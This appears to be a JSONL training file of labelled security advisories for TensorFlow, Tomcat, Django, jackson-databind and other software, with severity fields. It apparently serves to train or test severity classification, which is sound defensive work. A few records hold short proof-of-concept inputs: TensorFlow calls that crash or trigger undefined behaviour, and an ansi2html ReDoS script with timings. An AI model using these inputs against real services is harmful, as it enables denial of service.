-{"id": "4f39053acb92e603ef74", "text": "Reference binding to nullptr in `RaggedTensorToSparse`\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToSparse`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToSparse(\n  rt_nested_splits=[[0, 38, 0]],\n  rt_dense_values=[])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30) has an incomplete validation of the splits values: it does not check that they are in increasing order.\n\n### Patches\nWe have patched the issue in GitHub commit [1071f554dbd09f7e101324d366eec5f4fe5a3ece](https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Reference binding to nullptr in `RaggedTensorToSparse`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can cause undefined behavior via binding a reference to null pointer in `tf.raw_ops.RaggedTensorToSparse`:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.RaggedTensorToSparse(\n  rt_nested_splits=[[0, 38, 0]],\n  rt_dense_values=[])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/f24faa153ad31a4b51578f8181d3aaab77a1ddeb/tensorflow/core/kernels/ragged_tensor_to_sparse_kernel.cc#L30) has an incomplete validation of the splits values: it does not check that they are in increasing order.\n\n### Patches\nWe have patched the issue in GitHub commit [1071f554dbd09f7e101324d366eec5f4fe5a3ece](https://github.com/tensorflow/tensorflow/commit/1071f554dbd09f7e101324d366eec5f4fe5a3ece).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information \nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "e9e758944b8e063fb695", "text": "Elliptic Uses a Broken or Risky Cryptographic Algorithm\n\nThe npm package `elliptic` before version 6.5.4 are vulnerable to Cryptographic Issues via the secp256k1 implementation in elliptic/ec/key.js. There is no check to confirm that the public key point passed into the derive function actually exists on the secp256k1 curve. This results in the potential for the private key used in this implementation to be revealed after a number of ECDH operations are performed.", "text_raw": "Elliptic Uses a Broken or Risky Cryptographic Algorithm\n\n[Severity: MEDIUM]\n\nThe npm package `elliptic` before version 6.5.4 are vulnerable to Cryptographic Issues via the secp256k1 implementation in elliptic/ec/key.js. There is no check to confirm that the public key point passed into the derive function actually exists on the secp256k1 curve. This results in the potential for the private key used in this implementation to be revealed after a number of ECDH operations are performed.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-08", "split": "train"}
-{"id": "e0962fb244e99b8a74d0", "text": "Authenticated remote code execution\n\n### Impact\nAuthenticated remote code execution using plugin manager without ACL permissions.\n\n### Patches\nWe recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-03-2021", "text_raw": "Authenticated remote code execution\n\n[Severity: MEDIUM]\n\n### Impact\nAuthenticated remote code execution using plugin manager without ACL permissions.\n\n### Patches\nWe recommend to update to the current version 6.3.5.2. You can get the update to 6.3.5.2 regularly via the Auto-Updater or directly via the download overview.\n\nhttps://www.shopware.com/en/download/#shopware-6\n\n### Workarounds\nFor older versions of 6.1 and 6.2, corresponding security measures are also available via a plugin. For the full range of functions, we recommend updating to the latest Shopware version.\n\nhttps://store.shopware.com/en/detail/index/sArticle/518463/number/Swag136939272659\n\n### For more information\nhttps://docs.shopware.com/en/shopware-6-en/security-updates/security-update-03-2021", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-12", "split": "train"}
-{"id": "d041e2e485a1e7c38245", "text": "Dolibarr vulnerable to Improper Authentication and Improper Access Control\n\nIn `Dolibarr` application, v3.3.beta1_20121221 to v13.0.2 have `Modify` access for admin level users to change other user’s details but fails to validate already existing “Login” name, while renaming the user `Login`. This leads to complete account takeover of the victim user. This happens since the password gets overwritten for the victim user having a similar login name.", "text_raw": "Dolibarr vulnerable to Improper Authentication and Improper Access Control\n\n[Severity: HIGH]\n\nIn `Dolibarr` application, v3.3.beta1_20121221 to v13.0.2 have `Modify` access for admin level users to change other user’s details but fails to validate already existing “Login” name, while renaming the user `Login`. This leads to complete account takeover of the victim user. This happens since the password gets overwritten for the victim user having a similar login name.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-09-02", "split": "train"}
-{"id": "356c77ee9251f638ec38", "text": "Potential HTTP request smuggling in Apache Tomcat\n\nIn Apache Tomcat 9.0.0.M1 to 9.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99 the HTTP header parsing code used an approach to end-of-line parsing that allowed some invalid HTTP headers to be parsed as valid. This led to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.", "text_raw": "Potential HTTP request smuggling in Apache Tomcat\n\n[Severity: MEDIUM]\n\nIn Apache Tomcat 9.0.0.M1 to 9.0.30, 8.5.0 to 8.5.50 and 7.0.0 to 7.0.99 the HTTP header parsing code used an approach to end-of-line parsing that allowed some invalid HTTP headers to be parsed as valid. This led to a possibility of HTTP Request Smuggling if Tomcat was located behind a reverse proxy that incorrectly handled the invalid Transfer-Encoding header in a particular manner. Such a reverse proxy is considered unlikely.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-02-28", "split": "train"}
-{"id": "b259d4ef2602d6a9a7e3", "text": "Potential bypass of an upstream access control based on URL paths in Django", "text_raw": "Potential bypass of an upstream access control based on URL paths in Django\n\n[Severity: MEDIUM]\n\nIn Django 2.2 before 2.2.25, 3.1 before 3.1.14, and 3.2 before 3.2.10, HTTP requests for URLs with trailing newlines could bypass upstream access control based on URL paths. This issue has low severity, according to the Django security policy.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-09", "split": "train"}
-{"id": "673f6e8c363b990dd7d3", "text": "Code injection in plupload\n\nThis affects the package plupload before 2.3.9. A file name containing JavaScript code could be uploaded and run. An attacker would need to trick a user to upload this kind of file.", "text_raw": "Code injection in plupload\n\n[Severity: MEDIUM]\n\nThis affects the package plupload before 2.3.9. A file name containing JavaScript code could be uploaded and run. An attacker would need to trick a user to upload this kind of file.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-16", "split": "train"}
-{"id": "eadcedf05337418bb96c", "text": "Cross-site scripting (XSS) and Server side request forgery (SSRF) in moodle\n\nText-based feedback answers required additional sanitizing to prevent stored XSS and blind SSRF risks in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17.", "text_raw": "Cross-site scripting (XSS) and Server side request forgery (SSRF) in moodle\n\n[Severity: MEDIUM]\n\nText-based feedback answers required additional sanitizing to prevent stored XSS and blind SSRF risks in moodle before 3.10.2, 3.9.5, 3.8.8, 3.5.17.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-03-29", "split": "train"}
-{"id": "506a1c8f4fec058521a2", "text": "Regular Expression Denial of Service in ansi2html\n\nThe `ansi2html` package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.\n\n## Proof of concept\n```\nvar ansi2html = require('ansi2html')\n\nvar start = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;00000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;000000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000000000\");\nconsole.log(process.hrtime(start));\n```\n\nResults of the above\n```\n00:29:53-adam_baldwin~/tmp$ node test\n[ 0, 119615367 ]\n[ 0, 149934565 ]\n[ 0, 233325677 ]\n[ 3, 46582479 ]\n```\n\n## Recommendation\n\nAt the time of this writing, February 2018, all versions of `ansi2html` remain vulnerable, and the package has not been updated for 4 years.\n\nIn order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack.\n\nIn the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.][available on npm](https://www.npmjs.com/search?q=ansi+html)", "text_raw": "Regular Expression Denial of Service in ansi2html\n\n[Severity: HIGH]\n\nThe `ansi2html` package is affected by a regular expression denial of service vulnerability when certain types of user input is passed in.\n\n\n## Proof of concept\n```\nvar ansi2html = require('ansi2html')\n\nvar start = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;00000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;000000000000000000000000\");\nconsole.log(process.hrtime(start));\n\nstart = process.hrtime();\nansi2html(\"[1111111111111111111111;0000000000000000000000000000\");\nconsole.log(process.hrtime(start));\n```\n\nResults of the above\n```\n00:29:53-adam_baldwin~/tmp$ node test\n[ 0, 119615367 ]\n[ 0, 149934565 ]\n[ 0, 233325677 ]\n[ 3, 46582479 ]\n```\n\n\n## Recommendation\n\nAt the time of this writing, February 2018, all versions of `ansi2html` remain vulnerable, and the package has not been updated for 4 years. \n\nIn order to use this package safely, it is necessary to avoid passing user input to the package, or to limit the size of the input string to a size with a parse time you find acceptable. Unfortunately, the match time grows at quite a small character count, so it is unlikely for it to both allow strings of a useful size while protecting against the denial of service attack. \n\nIn the case that user input of significant length must be parsed by ansi2html, the best mitigation is to use an alternative module that is actively maintained and provides similar functionality. There are [multiple modules fitting this criteria available on npm.][available on npm](https://www.npmjs.com/search?q=ansi+html)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "c6dd617bcd526008165f", "text": "Insufficient Verification of Data Authenticity in python-keystoneclient\n\npython-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache signing bypass", "text_raw": "Insufficient Verification of Data Authenticity in python-keystoneclient\n\n[Severity: CRITICAL]\n\npython-keystoneclient version 0.2.3 to 0.2.5 has middleware memcache signing bypass", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "7ce73631cd171c2bda6c", "text": "Materialize-css vulnerable to Improper Neutralization of Input During Web Page Generation\n\nIn Materialize through 1.0.0, XSS is possible via the Toast feature.", "text_raw": "Materialize-css vulnerable to Improper Neutralization of Input During Web Page Generation\n\n[Severity: MEDIUM]\n\nIn Materialize through 1.0.0, XSS is possible via the Toast feature.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-04-09", "split": "train"}
-{"id": "3e2c2dc91ab048640782", "text": "MPXJ path Traversal vulnerability\n\ncommon/InputStreamHelper.java in Packwood MPXJ before 8.3.5 allows directory traversal in the zip stream handler flow, leading to the writing of files to arbitrary locations.", "text_raw": "MPXJ path Traversal vulnerability\n\n[Severity: MEDIUM]\n\ncommon/InputStreamHelper.java in Packwood MPXJ before 8.3.5 allows directory traversal in the zip stream handler flow, leading to the writing of files to arbitrary locations.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-12-18", "split": "train"}
-{"id": "d813d52162c5e2816e3f", "text": "Incomplete validation in `MaxPoolGrad`\n\n### Impact\nAn attacker can trigger a denial of service via a segmentation fault in `tf.raw_ops.MaxPoolGrad` caused by missing validation:\n\n```python\nimport tensorflow as tf\n\ntf.raw_ops.MaxPoolGrad(\n  orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  ksize = [1, 16, 16, 1],\n  strides = [1, 16, 18, 1],\n  padding = \"EXPLICIT\",\n  explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])\n```\n\nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc) misses some validation for the `orig_input` and `orig_output` tensors.\n\nThe fixes for [CVE-2021-29579](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md) were incomplete.\n\n### Patches\nWe have patched the issue in GitHub commit [136b51f10903e044308cf77117c0ed9871350475](https://github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "text_raw": "Incomplete validation in `MaxPoolGrad`\n\n[Severity: MEDIUM]\n\n### Impact\nAn attacker can trigger a denial of service via a segmentation fault in `tf.raw_ops.MaxPoolGrad` caused by missing validation:\n\n```python\nimport tensorflow as tf\n  \ntf.raw_ops.MaxPoolGrad(\n  orig_input = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  orig_output = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  grad = tf.constant([], shape=[3, 0, 0, 2], dtype=tf.float32),\n  ksize = [1, 16, 16, 1],\n  strides = [1, 16, 18, 1],\n  padding = \"EXPLICIT\",\n  explicit_paddings = [0, 0, 14, 3, 15, 5, 0, 0])\n```\n  \nThe [implementation](https://github.com/tensorflow/tensorflow/blob/460e000de3a83278fb00b61a16d161b1964f15f4/tensorflow/core/kernels/maxpooling_op.cc) misses some validation for the `orig_input` and `orig_output` tensors.\n\nThe fixes for [CVE-2021-29579](https://github.com/tensorflow/tensorflow/blob/master/tensorflow/security/advisory/tfsa-2021-068.md) were incomplete.\n                                                                                                                                                                                                                                                                                          \n### Patches\nWe have patched the issue in GitHub commit [136b51f10903e044308cf77117c0ed9871350475](https://github.com/tensorflow/tensorflow/commit/136b51f10903e044308cf77117c0ed9871350475).\n\nThe fix will be included in TensorFlow 2.6.0. We will also cherrypick this commit on TensorFlow 2.5.1, TensorFlow 2.4.3, and TensorFlow 2.3.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by Yakun Zhang of Baidu Security.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "b533ac33d0c23d10749f", "text": "Malicious Package in buffes-xor\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "text_raw": "Malicious Package in buffes-xor\n\n[Severity: CRITICAL]\n\nVersion 2.0.2 contained malicious code. The package targeted the Ethereum cryptocurrency and performed transactions to wallets not controlled by the user.\n\n\n## Recommendation\n\nRemove the package from your environment. Ensure no Ethereum funds were compromised.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "4fa52dfdaf6b4da60251", "text": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Microsoft Windows Kernel Privilege Escalation Vulnerability\n\nAffected: Microsoft Windows\n\nMicrosoft Windows kernel contains an unspecified vulnerability that allows for privilege escalation.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-119\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "b3f8e043f113d3a8f379", "text": "Regular Expression Denial of Service in postcss\n\nThe npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.", "text_raw": "Regular Expression Denial of Service in postcss\n\n[Severity: MEDIUM]\n\nThe npm package `postcss` from 7.0.0 and before versions 7.0.36 and 8.2.10 is vulnerable to Regular Expression Denial of Service (ReDoS) during source map parsing.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "e908aac9fa4d3f8ed981", "text": "Duplicate Advisory: gosaml2 is vulnerable to NULL Pointer Dereference from malformed XML signatures\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-prjq-f4q3-fvfr. This link is maintained to preserve external references.\n\n## Original Description\nThis affects all versions less than 0.7.0 of package github.com/russellhaering/gosaml2. There is a crash on null pointer dereference caused by sending malformed XML signatures.", "text_raw": "Duplicate Advisory: gosaml2 is vulnerable to NULL Pointer Dereference from malformed XML signatures\n\n[Severity: HIGH]\n\n## Duplicate Advisory\nThis advisory has been withdrawn because it is a duplicate of GHSA-prjq-f4q3-fvfr. This link is maintained to preserve external references.\n\n## Original Description\nThis affects all versions less than 0.7.0 of package github.com/russellhaering/gosaml2. There is a crash on null pointer dereference caused by sending malformed XML signatures.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-06-23", "split": "train"}
-{"id": "dd2003214e276424f580", "text": "Disabled users able to log in with third party SSO plugin\n\n### Impact\nMautic versions 2.0.0 - 2.11.0 with a SSO plugin installed could allow a disabled user to still login using email address\n\n### Patches\nUpgrade to 2.12.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "text_raw": "Disabled users able to log in with third party SSO plugin\n\n[Severity: HIGH]\n\n### Impact\nMautic versions 2.0.0 - 2.11.0 with a SSO plugin installed could allow a disabled user to still login using email address\n\n### Patches\nUpgrade to 2.12.0 or later.\n\n### Workarounds\nNone.\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [security@mautic.org](mailto:security@mautic.org)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-01-19", "split": "train"}
-{"id": "d10f571c22045ffbe352", "text": "Arbitrary JavaScript Execution in typed-function\n\nVersions of `typed-function` prior to 0.10.6 are vulnerable to Arbitrary JavaScript Execution. Function names are not properly sanitized and may allow an attacker to execute arbitrary code.\n\n## Recommendation\n\nUpgrade to version 0.10.6 or later.", "text_raw": "Arbitrary JavaScript Execution in typed-function\n\n[Severity: HIGH]\n\nVersions of `typed-function` prior to 0.10.6 are vulnerable to Arbitrary JavaScript Execution. Function names are not properly sanitized and may allow an attacker to execute arbitrary code.\n\n\n## Recommendation\n\nUpgrade to version 0.10.6 or later.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8ef01a7aecd2dd56c73e", "text": "Puppet vulnerable to Path Traversal\n\nDirectory traversal vulnerability in `lib/puppet/reports/store.rb` in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, when Delete is enabled in auth.conf, allows remote authenticated users to delete arbitrary files on the puppet master server via a `..` (dot dot) in a node name.", "text_raw": "Puppet vulnerable to Path Traversal\n\n[Severity: LOW]\n\nDirectory traversal vulnerability in `lib/puppet/reports/store.rb` in Puppet before 2.6.17 and 2.7.x before 2.7.18, and Puppet Enterprise before 2.5.2, when Delete is enabled in auth.conf, allows remote authenticated users to delete arbitrary files on the puppet master server via a `..` (dot dot) in a node name.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "3d06f62f2a377bb44db4", "text": "Regular Expression Denial Of Service in uri-js\n\nAffected versions of `uri-js` is susceptible to a regular expression denial of service vulnerability when user input is sent to the `.parse()` method.\n\n## Recommendation\n\nUpdate to v3.0.0 or later.", "text_raw": "Regular Expression Denial Of Service in uri-js\n\n[Severity: MEDIUM]\n\nAffected versions of `uri-js` is susceptible to a regular expression denial of service vulnerability when user input is sent to the `.parse()` method.\n\n\n\n## Recommendation\n\nUpdate to v3.0.0 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-07-24", "split": "train"}
-{"id": "cb4f15a0aba3ec0b16c0", "text": "Craft CMS Remote Code Injection\n\nAn issue was discovered in Craft CMS before 3.6.7. In some circumstances, a potential Remote Code Execution vulnerability existed on sites that did not restrict administrative changes (if an attacker were somehow able to hijack an administrator's session).", "text_raw": "Craft CMS Remote Code Injection\n\n[Severity: CRITICAL]\n\nAn issue was discovered in Craft CMS before 3.6.7. In some circumstances, a potential Remote Code Execution vulnerability existed on sites that did not restrict administrative changes (if an attacker were somehow able to hijack an administrator's session).", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-07-02", "split": "train"}
-{"id": "780f241625fdd3f778c5", "text": "Local information disclosure via system temporary directory\n\n## Impact\nEclipse Jersey 2.28 - 2.33 and Eclipse Jersey 3.0.0 - 3.0.1 contains a local information disclosure vulnerability. This is due to the use of the `File.createTempFile` which creates a file inside of the system temporary directory with the permissions: `-rw-r--r--`. Thus the contents of this file are viewable by all other users locally on the system. As such, if the contents written is security sensitive, it can be disclosed to other local users.\n\n## Workaround\n\nThis issue can be mitigated by manually setting the `java.io.tmpdir` system property when launching the JVM.\n\n## Patches\n\nJersey 2.34 and 3.0.2 forward sets the correct permissions on the temporary file created by Jersey.\n\n### References\n\n- https://github.com/eclipse-ee4j/jersey/pull/4712\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n## Similar Vulnerabilities\n\nSimilar, but not the same:\n\n- JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n - Eclipse Jetty - https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\n\n---\n\nOriginal Disclosure:\n\n> Hello Jersey Security Team,\n> \n> Utilizing a custom CodeQL query written as a part of the [GitHub Security Lab](https://securitylab.github.com/) [Bug Bounty program](https://securitylab.github.com/bounties), I've unearthed a local temporary file information disclosure vulnerability.\n> \n> You can see the custom CodeQL query utilized here:\n> https://lgtm.com/query/8831016213790320486/\n> \n> This particular vulnerability exists because on unix-like systems (not including modern versions of MacOS) the system temporary directory is shared between all users. As such, failure to correctly set file permissions and/or verify exclusive creation of directories can lead to either local information disclosure, or local file hijacking by another user.\n> \n> This vulnerability impacts the following locations in this project's source:\n> \n>  - https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java#L64-L73\n>  - https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java#L202-L208\n> \n> This vulnerability exists because of the vulnerability in the `Utils.createTempFile`:\n> \n> https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/core-common/src/main/java/org/glassfish/jersey/message/internal/Utils.java#L42-L53\n> \n> This is because `File.createTempFile` creates a file inside of the system temporary directory with the permissions: `-rw-r--r--`. Thus the contents of this file are viewable by all other users locally on the system.\n> \n> If there is sensitive information written to these files, it is disclosed to other local users on this system.\n> \n> The fix for this vulnerability is to use the `Files` API (instead of the `File` API) to create temporary files/directories as this new API correctly sets the posix file permissions.", "text_raw": "Local information disclosure via system temporary directory\n\n[Severity: MEDIUM]\n\n## Impact\nEclipse Jersey 2.28 - 2.33 and Eclipse Jersey 3.0.0 - 3.0.1 contains a local information disclosure vulnerability. This is due to the use of the `File.createTempFile` which creates a file inside of the system temporary directory with the permissions: `-rw-r--r--`. Thus the contents of this file are viewable by all other users locally on the system. As such, if the contents written is security sensitive, it can be disclosed to other local users.\n\n## Workaround\n\nThis issue can be mitigated by manually setting the `java.io.tmpdir` system property when launching the JVM.\n\n## Patches\n\nJersey 2.34 and 3.0.2 forward sets the correct permissions on the temporary file created by Jersey.\n\n### References\n \n - https://github.com/eclipse-ee4j/jersey/pull/4712\n - [CWE-378: Creation of Temporary File With Insecure Permissions](https://cwe.mitre.org/data/definitions/378.html)\n - [CWE-379: Creation of Temporary File in Directory with Insecure Permissions](https://cwe.mitre.org/data/definitions/379.html)\n\n## Similar Vulnerabilities\n\nSimilar, but not the same:\n\n - JUnit 4 - https://github.com/junit-team/junit4/security/advisories/GHSA-269g-pwp5-87pp\n - Google Guava - https://github.com/google/guava/issues/4011\n - Apache Ant - https://nvd.nist.gov/vuln/detail/CVE-2020-1945\n - JetBrains Kotlin Compiler - https://nvd.nist.gov/vuln/detail/CVE-2020-15824\n - Eclipse Jetty - https://github.com/eclipse/jetty.project/security/advisories/GHSA-g3wg-6mcf-8jj6\n\n\n---\n\nOriginal Disclosure:\n\n> Hello Jersey Security Team,\n> \n> Utilizing a custom CodeQL query written as a part of the [GitHub Security Lab](https://securitylab.github.com/) [Bug Bounty program](https://securitylab.github.com/bounties), I've unearthed a local temporary file information disclosure vulnerability.\n> \n> You can see the custom CodeQL query utilized here:\n> https://lgtm.com/query/8831016213790320486/\n> \n> This particular vulnerability exists because on unix-like systems (not including modern versions of MacOS) the system temporary directory is shared between all users. As such, failure to correctly set file permissions and/or verify exclusive creation of directories can lead to either local information disclosure, or local file hijacking by another user.\n> \n> This vulnerability impacts the following locations in this project's source:\n> \n>  - https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/core-common/src/main/java/org/glassfish/jersey/message/internal/FileProvider.java#L64-L73\n>  - https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/media/multipart/src/main/java/org/glassfish/jersey/media/multipart/internal/FormDataParamValueParamProvider.java#L202-L208\n> \n> This vulnerability exists because of the vulnerability in the `Utils.createTempFile`:\n> \n> https://github.com/eclipse-ee4j/jersey/blob/01c6a32a2064aeff2caa8133472e33affeb8a29a/core-common/src/main/java/org/glassfish/jersey/message/internal/Utils.java#L42-L53\n> \n> This is because `File.createTempFile` creates a file inside of the system temporary directory with the permissions: `-rw-r--r--`. Thus the contents of this file are viewable by all other users locally on the system.\n> \n> If there is sensitive information written to these files, it is disclosed to other local users on this system.\n> \n> The fix for this vulnerability is to use the `Files` API (instead of the `File` API) to create temporary files/directories as this new API correctly sets the posix file permissions.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-23", "split": "train"}
-{"id": "4a7a1500b5cda09fb295", "text": "Polymorphic deserialization of malicious object in jackson-databind\n\nA flaw was discovered in jackson-databind in versions before 2.9.10, 2.8.11.5, and 2.6.7.3, where it would permit polymorphic deserialization of a malicious object using commons-configuration 1 and 2 JNDI classes. An attacker could use this flaw to execute arbitrary code.", "text_raw": "Polymorphic deserialization of malicious object in jackson-databind\n\n[Severity: HIGH]\n\nA flaw was discovered in jackson-databind in versions before 2.9.10, 2.8.11.5, and 2.6.7.3, where it would permit polymorphic deserialization of a malicious object using commons-configuration 1 and 2 JNDI classes. An attacker could use this flaw to execute arbitrary code.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-05-15", "split": "train"}
